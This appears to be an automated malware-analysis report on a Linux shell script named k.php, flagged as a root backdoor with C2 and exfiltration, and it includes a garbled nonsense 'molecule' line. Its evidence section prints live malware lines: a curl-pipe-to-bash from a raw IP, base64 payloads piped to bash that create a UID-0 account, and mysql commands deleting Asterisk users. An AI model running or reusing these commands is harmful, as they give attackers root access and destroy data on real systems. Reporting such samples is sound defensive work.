Hostile ^100% linux Download

k.php

Root backdoor, C2, data exfil

Creates UID/GID-zero login accountCron with base64 decode

SHA-2563af77703540e969bbff8b5dda855f7d00ac142d0c8d2d7f1860557a11828d4be

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₇(P₂As₃C₃ErCoDyLa)H₅(Cm₈Db₂F₁₁Os₅Po₄)Md

Evidence

Encoded URL pinned to external IPv4 lines 1–3

1#!/bin/bash
2curl http://160.119.69.4/x -ks | bash
3echo -n 'PD9waHAgLyogdHJhY2VfMDQ4OTAwYzI3OWZjMzc3YjZlMjgyMjAwNmZjMzc2NWQgKi8gaWYoZmFsc2UpeyAkYnNqaGt2ZUpWZ1VMID0gJ2RlYWRjb2RlX2FudGlfYXYnOyB9ICRGbmlrYkpXemFpRHNFTUIgPSBiYXNlNjRfZGVjb2RlKCdabkptWm5aaVlWOW1aMjVsWnlncE93cDJjeUFvZG1abWNtY29KRjlGVWtSSVVrWkhXeWQ2Y1RVblhTa2dKaVlnZW5FMUtDUmZSVkpFU0ZKR1Ixc25lbkUxSjEwcElEMDlJQ2R5TWpjd09ITTJNVzl4Y2pBME1YRnpOekp2YjNKd2IzSXpNVzR5TXpKdWJpY3BJSHNLSUNBZ0lDUmZSbEpHUmxaQ1FWc25lV0ppZUhZblhTQTlJQ2Q1WW5SMGNuRW5Pd3A5Q25aeklDZ2hkbVptY21jb0pGOUdVa1pHVmtKQld5ZDVZbUo0ZGlkZEtTa2dld29nSUNBZ2NuQjFZaUFuUEhOaVpYb2dibkJuZG1KaFBTSWlJSHB5WjNWaWNUMGlZMkptWnlJK0p6c0tJQ0FnSUhKd2RXSWdKengyWVdOb1p5Qm5iR055UFNKbmNtdG5JaUJoYm5weVBT …

Encoded payload detected: base64 lines 5–8

5:70… SGVNVGsnIG5ld2ZwYnggJj4vZGV2L251bGw' | base64 -d |bash
6echo -n 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJ3VldGVHSllDSGVNVGsnIHhoaW1heCAmPi9kZXYvbnVsbA==' | base64 -d |bash
7mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username != 'admin';"
8mysql -u root --password=' …

Curl/wget invocation requires option or URL line 31

31:16482… bHMgLWxzIC9ob21lCmVjaG8gJ3dnZXQgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvay5waHAgLU8gL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rld …